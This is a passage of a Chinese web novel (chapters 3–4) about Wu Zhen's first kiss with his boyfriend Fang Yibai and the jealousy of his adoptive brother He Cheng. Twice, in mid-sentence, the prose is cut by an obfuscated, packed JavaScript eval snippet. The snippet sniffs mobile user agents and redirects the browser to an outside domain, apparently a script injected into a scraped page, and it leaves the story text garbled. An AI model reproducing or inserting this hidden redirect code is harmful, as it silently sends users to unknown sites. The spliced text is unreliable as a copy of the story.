《你也喜欢邬真吗?》 3. 你也想亲吗 第一次亲吻发生在邬真的房间。 夏天好热,哪怕是精力旺盛的邬真也会懒得出门。 房间里很凉爽。 蝉鸣声在窗外响起。 吻很轻很慎重地从邬真柔软的侧脸轻吻到嘴角,屏住呼吸停在这里。 光是这种程度,已经让方奕白神志不清、头脑发胀,灵魂都要从强烈的冲击中撞出躯体。 他竭力调整呼吸想让自己冷静。 但闻到的都是邬真的气息。 清爽干净的沐浴露香气,带一点艾草的味道。植物的清香。 他的脸颊越发感觉到火烧火燎。 邬真不介意他的停顿。 他也正在探索,需要仔细感受。 虽然牵手时,他觉得方奕白和贺诚没有区别。 但现在他察觉到了。 同样是亲脸,方奕白和贺诚的态度会有所不同。 贺诚如果亲邬真的脸,不会有这么多的迟疑和犹豫,不会这么小心这么谨慎。 贺诚亲邬真是理所当然的事情,他不需要犹豫,晚安吻很轻地落在邬真的脸上,和邬真说晚安,对他们来说像空气一样自然存在。因为坦然,哥哥就是哥哥,弟弟就是弟弟,感情纯粹没有心虚,不需要提防和过多在意。 但方奕白不一样。 邬真等待着,有点分神地想窗外的蝉鸣声好吵,下一秒,嘴唇上微微地热了下。 邬真愣神。 视线聚焦,看向方奕白。 盛烈的阳光下,方奕白也没闭眼睛,他望着邬真的脸,看着自己紧张到不像话的表情暴露在邬真清亮的绿色麦浪般的眼睛里。 和邬真恋爱之后,邬真并没有隐瞒消息的意思。 他晒出方奕白送给他的交往纪念礼物,他们在一起的消息火速席卷了两个人重叠的朋友圈。 方奕白收到最多的消息就是。 “你小子凭什么啊?” “用了什么手段老实交代。” “呵呵你以为你能和邬真在一起多久。” “少得意了该死的东西。” “说吧跪着求了多少次真真才答应和你在一起。” 方奕白的一生从没有得到过这么多的嫉妒,比他当年第一次拿到冠军还要令人心浮气躁。每天起床都伴随一种燥热的气息,他终于能够名正言顺地以朋友之外的另一个身份站在邬真的身边。 他和邬真第一次认识,是在自己十二岁的生日后不久。 他的家庭环境复杂,父亲私生子女众多,方奕白年纪虽小,心狠手辣,自己的生日愿望都要许“让那些弟弟妹妹全都去死!” 他觉得亲人是累赘。 就是这样的情况下,他唯一的朋友贺诚家里新来了个弟弟。 一周之后,他才知道这件事。 关于消息的延迟,他原以为贺诚家里也出了这等丑事,所以不愿意和他交代。作为兄弟,理应同仇敌忾。 然而没想到,贺诚不是讨厌新弟弟。 是喜欢,好喜欢,非常喜欢。 他喜欢成眼珠子了,恨不得天天把弟弟关在家里,恨不得上学都要把邬真夹在咯吱窝底下带走。 他找上门的时候,贺诚一个劲儿地冷着脸掰着他的胳膊往外推,咬牙切齿地威胁他。“滚!” 方奕白死皮赖脸地说,“让我看看怎么了,看看!” 方奕白完全意料之外地被一向冷静的装货朋友连赶带骂,等离开院子抬起头,才看到邬真。 邬真手里抓着蜡笔,脸上有几道彩印,和他对视之后把自己刚画完的画自信地转给他看。 狼狈夹着尾巴的他,还有气势汹汹的喷火龙贺诚。 方奕白眯眼看清,笑得前仰后合,和邬真说的第一句话是,“我没有那么狼狈吧!” 又嬉皮笑脸地看贺诚,“这就是你弟吗,在他眼里你的形象也不怎么样啊。” 贺诚的声音紧随其后。 “方奕白!”他一字一顿,“现在、立刻、马上,滚出我家!” 绿色啊。绿色真的太好了,太漂亮了,绿色是绵延不尽的山谷,是风生水起的景色,是躁动不安的夏天,是邬真看人的时候明亮的眼睛。 方奕白不止一次地想过。 邬真如果是他的弟弟就好了。 无数次梦境,他被和邬真牵手、邬真信任地抱着他的胳膊叫他哥哥的温馨画面幸福地满足过。 那时候的他眼界就到这儿了,没想过更爽的事情。 谁会知道光是牵手就足够让他辗转反侧。 十指相扣就让他的大脑宕机。 靠近已经意乱情迷。 亲吻邬真则会让他变得很贪婪。 他谨慎地亲吻邬真的嘴角,把沁香清爽的味道狼吞虎咽,近乎渴切地交换气息,心脏跳得快从胸口窜出来,后背僵硬,发间的汗水往脖颈流,被邬真的呼吸刺激得尾椎骨发麻颅内一片空白。 然而贪婪的同时夹着尾巴。方奕白在一片热汗之中狼狈不安地想,这样的幸福终点在哪一天。 他只要睁开眼,就会看到邬真一如既往,明亮开阔的眼睛。 那里面什么都没有。 会被一个吻引出所有担忧的人只有他。 只有他在想,他们有没有未来。 只有他在想,邬真的兴趣什么时候会消散。 邬真的确没有什么顾虑。 他开朗并且友善,但永远把自己的想法放在最前面。他不会舍不得拒绝别人,不拒绝只是因为自己想要尝试。 接吻对邬真来说实在是太过新奇的感受。 邬真对新鲜感太难抗拒。 他妈妈是医学领域的研究人员,性格理性,擅长记录和分析,邬真和她虽然脾气不像,却有地方一脉相承。 他习惯记录自己觉得新奇的一切感受。 他对难过、兴奋、紧张,生病的体验,奔跑后乏力的感受……一切的一切,都有详细的描述,以便于自己进行比较。 邬真喜欢观察一切,看人们的表情、生活,他们的怒气或者悲伤,也喜欢观察自己。 他爱这个人是不是比爱那个人少一点?这种多少又该以什么样子的尺度来衡量?他总是这样兴致勃勃地猜想,很有劲儿地东奔西跑,乐于和别人交朋友,喜欢询问每一个看起来失魂落魄被阴影笼罩的人,“嗨,你情绪还好吗,需要帮忙吗?” 邬真很热情,这样毫无阴霾不求回报的热情给他带来友谊、温暖,整个世界。 但如果追根溯源,邬真只是有点好奇。 这个人是怎样的人。 那个人是怎样的人。 不同的人,不同的性格,相似的人也不会复制粘贴,这个世界能够被邬真探索的事情真的很多,所以他喜欢这里实在太理所应当。 亲吻真的不一样…… 邬真想。 起码和牵手完全不一样。 是比肢体接触更深一层的接触。果然会显得亲密很多。 他推开方奕白的肩膀,晃了下脑袋,随后被粗糙的大手抬起头拂开头发擦拭汗水。一双绿眼睛从眉骨下抬起来,嘴唇几乎鲜艳欲滴。 邬真感觉自己应该脏兮兮地挂着汗,好狼狈。亲吻怎么会让人这么狼狈呢? 邬真觉得有点好笑,如果刚刚有人在看,说不定他们真的像是影视剧里拍的那样啃。 他憋笑说,“奕白哥。” 方奕白看着他,肺部像是被戳了几个孔,由内而外地泄气,他也笑着,“怎么了?” 邬真汗津津地和方奕白靠着脑袋。 房间里开着空调,然而还是热腾腾的。 安静了一会儿,邬真忽然说:“这就是恋爱的感觉吗?” 方奕白的心脏被他一句话戳得直跳,手指不由自主地攥紧。 这是什么意思? 然而邬真并没有给他解释,只是忽然转过头看他。 方奕白微微撇开眼神,能看到不远处的镜子里反射着自己头发凌乱面红耳赤难堪的狼狈。 “我一直在想,奕白哥不喜欢我,和我谈恋爱是什么心情,甚至今天接吻的时候,我也在想呢。奕白哥是什么感受,会不会觉得邬真是个不管别人情绪的坏蛋,会不会觉得亲吻我是一件糟糕的蠢事;但又觉得,奕白哥如果讨厌我,也许根本不会亲我。是吗?” 邬真抓着他的手,眼睛在认真地看他。 方奕白情不自禁地回答他的话,沙哑地道,“对。” 邬真脸上挂上更灿烂的笑,“嗯,奕白哥不讨厌我,我也不讨厌奕白哥。这就是一段恋爱发生的先决条件,这样很好,我们可以继续,如果我们真的爱上彼此,那是最好的事情。” 方奕白反握邬真的力度在渐渐收紧。 邬真却一无所觉。 “我们结婚,去度假,去海里喂鲨鱼,让哥和朋友们来参加我们的婚礼!如果没有,分开的时候也不会太难过,我们还能做朋友,就和以前那么多年一样!” 对邬真来说,尝试并不是坏事。 他亮晶晶的眼睛看着方奕白,笑眯眯神气的表情,有点点臭屁地点了下头,“要是奕白哥真的喜欢上我,也不会亏哦,我觉得我是个很好的人。” 方奕白微闷地沉默两秒,继而笑了声,“对。” 大手从邬真的侧脸摸到他毛茸茸的头发,看他利落干净少年气的轮廓,和宝石一样的绿眼睛。 邬真眨眨眼睛,凑过去。 方奕白正要说话。 比邬真先靠近的是他的呼吸,然后是他的头发,再后是他的鼻梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301766|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、睫毛,最后才是轻柔的吻。 邬真亲了亲他的脸。 方奕白屏住呼吸。 赛车手的手粗糙,脸倒是没有。想想也是,毕竟带着头盔呢。邬真亲在他棱角分明的侧脸,笑着说,“我有努力多喜欢奕白哥一点点。” 方奕白的手指猛地抽动了下,“……嗯。” 邬真抽离,温度远去,他去桌边喝水。 方奕白僵在后面,半晌,摸了把被碰过而火烧火燎的皮肤,手臂盖在眼睛上,笑了声。 …… 八点左右,贺诚要回来,方奕白也得回家。 他依依不舍地披上自己的外套,笑着回头搂住邬真的肩膀亲他的脸,“明天见好不好?真真。” 邬真摇头:“我懒得出门。” 方奕白:“不用你出门,我来找你。” 邬真关切地说:“太热啦,奕白哥。” “哪有。一点也不热。”方奕白严肃认真地说,“心静自然凉。” “嘎吱——” 他很慢很慢地拉开门,流连忘返。 邬真笑着,“那好吧。不过明天是周日,我哥在家——” 话音未落,邬真就从逐渐大开的门缝里看到了贺诚的脸。 贺诚出现在他房门口外。 青年身上西装还没换下来,领针熠熠,靠在墙壁上不知多久。额发垂散,黝黑的目光静静看着他。 邬真:“哥?你站在我门口干什么?” 方奕白脚步一顿,眯着眼笑了下,“大忙人今天回家这么早啊。” 贺诚没搭理他,只是看着邬真。 看他微微红肿的嘴唇,脸上和平时有些不同的神态。他对邬真太熟悉。熟悉弟弟的味道,熟悉弟弟的样子,熟悉到他连每根睫毛的走向都一清二楚。他是哥哥,和邬真相处的时间太久,关心邬真注视邬真的时间太久,久到他的敏锐已经成为习惯,久到发现自己察觉到不对的时候都来不及。 他也许不想察觉到。 但来不及。 他嗅到交融在一起的味道。 感受到发生在邬真身上独特的变化。 一种古怪的怨气快要从他的每一根血管神经迸发出来,一种强烈的讥讽的欲望、冷笑的冲动快要克制不住。 贺诚看着邬真,冷静压住胸腔里不断翻涌的问题。 你们接吻了是不是。 你是自愿的吗? 你想让他亲吗? 你们亲了有多久? 在我看不到的时候,在我一墙之隔的房门里。 可是他根本配不上你。 问题太多,拥挤成乌云般轰隆隆的黑色。 贺诚最后什么都没说。因为他的问题多么奇怪,他竟然在质疑情侣之间理所当然的亲吻。 他看自己从小到大二十多年的发小,他的朋友,他的同窗,“滚出去。” 方奕白回过头看向邬真,凑过去亲了下他的脸。 “那明天见。” 贺诚说:“真真。” 邬真刚想回应方奕白,就又被哥的声音拉拽过去,眨眨眼:“嗯?” 贺诚垂着眼,冷静地嘱咐,“不要让他到我们的家里来。” 空气安静了一瞬。 邬真看看方奕白,又看看贺诚。某种微妙的电火花在空气中流动,邬真似乎有点感觉。 他察觉到了贺诚对方奕白的敌意,但不明白为什么。脑子里盘旋一个大大的问号。 哥和方奕白二十多年的友谊,关系一向融洽。方奕白来家里也并不是第一次。 方奕白:“不是吧哥们儿,连我也信不过?我们多少年的兄弟,连这你也要管!” 贺诚不再说话。 他在门外等待的时候,想好要和邬真谈一谈。 恋爱自由是正常的,他交往的人同为男性贺诚也不会管,这个人侵占他们的空间时间是情侣相处对家庭关系难以避免的冲击,邬真会顺理成章地和男友发展亲密行为,更是无可厚非。 但贺诚从小看着邬真长大,对邬真有男友的事情一时难以接受,他需要时间适应。 他希望邬真明白他的异常有所成因,希望邬真能原谅他的古怪。希望邬真知道,就算他奇怪,畸形,用阴暗的眼神看着他,甚至有些排斥他的男朋友,但贺诚依然视他为最重要且无法割舍甚至充满依恋的亲人。 然而门打开,两个人有说有笑地出现在他面前,那些话无法出口。 因为邬真讶异看过来的眼神,让他觉得,他好像不该出现。 被排斥在弟弟的空间之外的感觉很奇怪。 贺诚无法再开口。 嫉妒是很难藏住的东西,他需要时间去学。学怎么隐藏自己的嫉妒。就像从前,他学怎么照顾一个小孩。 4.你也虚伪吗 窗外的绿植生机勃勃地在风里摇曳,漆黑的影子在沙发边沿晃动,入夜之后一切都很安静。 贺诚坐在书桌旁。 手边是电脑、堆叠的文件,一副相框。 更右边是钩织玩偶、书柜,陈列的键盘架和游戏机的展示区。 贺诚没有在处理工作,他手里拿着的是一本教材。 邬真高中时候的教材。 贺诚也不知道翻看这个有什么意思,似乎出于一时兴起。 这上面除了弟弟字迹工整的笔记之外什么都没有,偶尔能看出上课不专心的痕迹,还夹着邬真早就和他分享过的闲聊纸条。 朋友在问,邬真准备去哪个餐厅吃饭。 邬真说不去,今天我哥给我带饭,哥哥做饭非常好吃。 贺诚扯了下嘴角,继续往下看。 【嫉妒。凭什么,为什么!】 【真真都好久没有和我一起吃饭了】 【你哥怎么无处不在啊】 【他有点太粘你了你不觉得吗?】 贺诚淡淡垂眼看着。 视线往下。 邬真:【有吗?可是我们一直都这样】 …… 熟悉的轻快的脚步声飞奔进来。 贺诚把书合上,拿过文件盖在上面,黑眸看向门口的方向。 刚洗完澡的邬真舒服地扑在沙发上,脸朝下长吸了口气。 水珠从他湿透后更显卷翘的头发往下滴到肩膀。 邬真惬意地休息数秒,再翻身爬起来把空调往下调低了两度,同时和贺诚分享,“楼下新来一只小白狗!” “我刚刚在篱笆外面看到它了。” “好可爱啊,忍不住想嘬嘬两声,但是它看起来很端庄。破坏这种优雅的端庄会像个坏蛋一样。”邬真于情不忍地说,没等贺诚回答,视线往贺诚的桌面一扫,“哥又在工作。” 贺诚:“……” 他瞥一眼桌上的文件。 邬真说:“工作是做不完的!适当的休息非常重要。” 贺诚把手盖在文件间隙处,“我知道,再看一会儿就休息。” 邬真满意点头,眨了下眼睛。 绿宝石一样清透的眸子直勾勾望着贺诚,“嗯,今天感觉哥心情不太好。” 邬真疑惑地问,“是因为我和奕白哥谈恋爱的事情吗?” 兄弟姐妹和自己的朋友谈恋爱这件事,偶尔会引发一些争议,不算少见。 简单来说就是,自己的亲密关系相互结合,导致自己同时被两个人排除在外,因此产生的落差感。 但邬真以为这种情况不会在贺诚这里出现。 他在邬真心中的形象足够稳重、足够可靠。 空气沉凝两秒。 贺诚本来想以温和且平和的姿态回答邬真:不。没有心情不好,我只是需要一点时间适应。 但脱口而出的话却是。 “他好在哪?” 邬真愣了下,“嗯?” “他好在哪里。”贺诚,“粗鲁轻浮,嬉皮笑脸,除了身强体壮之外难道还具备什么值得称道的优点?他有哪里引起你的注意,他有哪里在你心里显得特别?你把他也看做你的哥哥,那凭什么……——” 他的声音戛然而止。 空调的冷气在室内游走,贺诚忽然有一瞬间的汗毛耸立。 邬真坐在沙发上,表情有些意外。 他睫毛很长,下睫毛也很长。洗完澡后有些湿润地黏搭在一起,在光线下投射在鼻梁骨上。 他神态逐渐严肃起来:“虽然我很爱哥,但我没办法赞同哥哥的每句话。奕白哥也看着我长大,哥和他是朋友,应该很了解他的为人。” “他很诚实,很坦率,不粗鲁也不轻浮,大多数时候也很可靠。我不觉得他有哪里不好,不明白哥为什么忽然这么评价自己的朋友。也许你们应该谈一谈,又或者我们应该谈一谈?问题的出现总是需要解决,我不想以后我交往的每个男朋友都让哥这么不痛快……” 邬真觉得自己说太多了。唔,他其实有尽力少说点。 他看向贺诚。 贺诚脸上没有多余的表情。 “你对他的评价倒是非常好。”贺诚平静地轻道,“那我呢?” 邬真:“啊?” 贺诚重复:“那我呢?” 邬真细细看过他的眉眼,笑着说:“哥一表人才。” 贺诚看着邬真,摇头:“不是这个。” 邬真:“那要我说什么?哥脾气凶人缘不好惜字如金,打游戏稀巴烂手工活也总是做得非常糟糕,哼,哼。我现在都记得,之前小学义卖会,只有哥的拍卖品我根本拿不出手——” 贺诚没想到邬真旧事重提,“……那是从前……” 他艰难地吐字。 邬真不管。他嘴角翘翘眼睛弯弯,有点狡黠,“现在也很烂啦。生日的时候,哥送我的玩偶是我的样子吗?能看出哥做得很用心,但我真的以为是什么美杜莎之类的怪物。” 贺诚低头:“我错了。” 邬真笑起来:“没关系,因为我很喜欢。” 贺诚:“……” 邬真快活地说:“那个人偶就放在我的床上天天陪着我。看久了觉得好可爱。哥如果觉得我每次收到礼物之后的开心兴奋是装的,那就大错特错。错错错错。” “哥已经很忙,还要为我加班加点地准备亲手做的小礼物。我知道你的想法!你想告诉我你在意我,愿意一直对我用心,愿意一直都爱我。” 邬真头发尖在往下滴水,脸颊耳朵脖子也湿湿的。 他用毛巾胡乱擦了擦,并甩了下头发。 贺诚感到微小的水珠溅到他的侧脸和手背。 啪嗒一下。 按理说是没有声音的,但他总觉得有。并且很清晰。 贺诚没有伸手去擦,好像并不在意。 那点微小的水痕带着邬真的味道,一直留在他的脸上、手背,直到它干。 “奕白哥很好,但哥比奕白哥还要好一百倍。”邬真说,“哥和他们任何人都不一样。” 世界忽然安静了一瞬间。 贺诚倏地起身,影子泼了邬真一身。 邬真坐在沙发上,头发湿淋淋,绿眸茫然地看着他。 贺诚什么都没说,只是伸手拿过邬真怀里的毛巾。 邬真抱住头:“停!我不想吹头发。” 贺诚说:“不吹。” 他用毛巾盖住弟弟的头,扭过邬真的肩膀让他在沙发坐好,自己绕到后面,用毛巾轻轻擦他的头发。 他没办法坐在邬真的对面;也没有办法被邬真注视着了。 来到邬真的后背,贺诚才能慢慢舒口气,感受到热汗淋漓的后背、发麻发烫的耳朵。 邬真:“哥还有工作。” “不重要。”贺诚的声音从背后传来。 邬真不说话了。 贺诚却有很多话想说。 邬真很爱他,邬真在意他,重视他。他始终如一的真诚、坦率、赞美、尊重、认可以及信任,让贺诚有温暖满足无与伦比的快慰,还感到无地自容、羞愧、难堪,畸形潮湿以致诡异的自疑。因为他虚伪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307673|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是。 他很虚伪。 因为他虚伪,所以他无法正视邬真的赞美、他肯定的眼神。同时又贪婪地享受着,满足地汲取着。 脑子里盘旋的字字句句牵连拉扯。 贺诚想告诉邬真,他不是有意诋毁自己的朋友。 然而不是有意是什么? 他恰是有意诋毁。甚至有更多的诋毁如同魔鬼一样在他的心里挨挨挤挤,一张口就要撕开他的喉咙爬出来。 他只好不再说话,只安静地擦拭弟弟的头发。 他的嫉妒是合理的吗,符合道德的吗,在伦常以内的吗? 这些问题一次次拉紧他的心弦,在邬真明亮的眼神里愈发如同梦魇一般吵扰他。 他道:“抱歉。” 邬真甚至没有问他为什么道歉。 “我知道。”他干脆地说,“哥需要时间。” 邬真的头发,蓬松,湿润,柔软。 贺诚的手指陷在里面。 紊乱的思绪闪烁着,有一瞬间异常清晰。 如果是方奕白现在站在这里,在给邬真擦头发,他会怎么做? 他从后面静静看着邬真,骨节分明的手指勾起一缕冰冷的发丝。 是卷卷的黑发。 往下勾,把他的手指头圈住,留下淡淡的湿痕。 …… 邬真有习惯记录。 抓蝴蝶的时候记录:【手上有灰扑扑的粉,无味。捏着翅膀能感受到细微的纹路。他们在奋力挣扎。用身上每一个器官。好弱小。没有温度。有点可怜。】 摸年轮的时候记录:【粗糙的断面,生前是高大的乔木,侧面有芽发了出来,芽上又有芽。翠绿带一点嫩黄。蚂蚁和蜘蛛在周围攀爬。树根很粗糙,划手。沟壑中间有青苔,蛛网,灰尘,鼠妇。像一道道被填满的生长纹,被撑开再度愈合。有五十三条年轮,有我两倍大还要多。在大树界却根本不值一提! 一棵树能记载的东西太多太多,当一棵树也不是什么坏事,又高又大,我将允许大家在我的身上爬来爬去。夏天乘凉,雨天避雨(小心打雷)】 …… 同理,邬真更新了他的新体验。 【恋爱的感觉也没有什么不同,又或者我还在用看朋友的眼神看他。但这种心态要怎么转变,我却一窍不通,非常费解。 看着他的时候我很好奇,我的眼睛里是否有不同情绪,我看他和他看我的眼神是否一致。人要怎么才能爱上一个人,人要怎么意识到自己正对另一个人萌生感情?我有没有被谁爱过,有没有人用渴望的眼神注视过我、希望得到我的回应。他从哪里确信自己的喜欢是发自内心的而不是某种习惯?而我是否有察觉,有没有冷淡地辜负。好多问题,却不知道该问谁,只能在慢慢观察中寻找答案。 我话很多。毛病也不少。我怎么总是在说话啊!可恶啊闭嘴邬真。老实说,我自己也有察觉。做朋友我是一个好选择,做恋人或许不是】 …… 【牵手和亲吻截然不同。 我能感受到这个人的手和另一个人有什么不同,骨头的大小、肌肉的含量、手的温度、茧子的粗糙程度,握手的力气。 但接吻的话,其实真的很奇怪 它不具备任何“人”的鲜明特征。 离得太近时,自己的味道会盖过他人,连温度也会混为一体。除非这个人满口尖牙,否则我甚至不具备辨认的能力 闭上眼睛的时候,会不会搞不清楚自己在亲吻的人究竟是谁? 但这个想法有点好笑,毕竟,我长着眼睛,当然不会认错。】